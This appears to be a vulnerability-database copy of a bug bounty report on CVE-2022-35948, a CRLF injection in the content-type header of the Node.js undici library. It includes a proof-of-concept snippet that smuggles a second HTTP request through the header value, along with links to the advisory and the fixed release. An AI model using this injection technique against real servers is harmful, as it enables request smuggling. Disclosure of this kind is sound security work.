Lucene search

K
hackeroneHappyhacking123H1:1664019
HistoryAug 09, 2022 - 3:43 p.m.

Internet Bug Bounty: CVE-2022-35948: CRLF Injection in Nodejs ‘undici’ via Content-Type

2022-08-0915:43:20
happyhacking123
hackerone.com
34
internet bug bounty
cve-2022-35948
crlf injection
nodejs
undici
content-type
vulnerability
http headers

0.001 Low

EPSS

Percentile

34.1%

undici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘content-type’ header of undici.request api.

Impact

=< [email protected] users are vulnerable to CRLF Injection on headers when using unsanitized input as request headers, more specifically, inside the content-type header.

Example:


const unsanitizedContentTypeInput =  'application/json\r\n\r\nGET /foo2 HTTP/1.1'

await request('http://localhost:3000, {
    method: 'GET',
    headers: {
      'content-type': unsanitizedContentTypeInput
    },
})

The above snippet will perform two requests in a single request API call:

http://localhost:3000/
http://localhost:3000/foo2

I have submitted the report: https://hackerone.com/reports/1638888
Advisories: https://github.com/nodejs/undici/security/advisories/GHSA-f772-66g8-q5h3
Resolved as of https://github.com/nodejs/undici/releases/tag/v5.8.2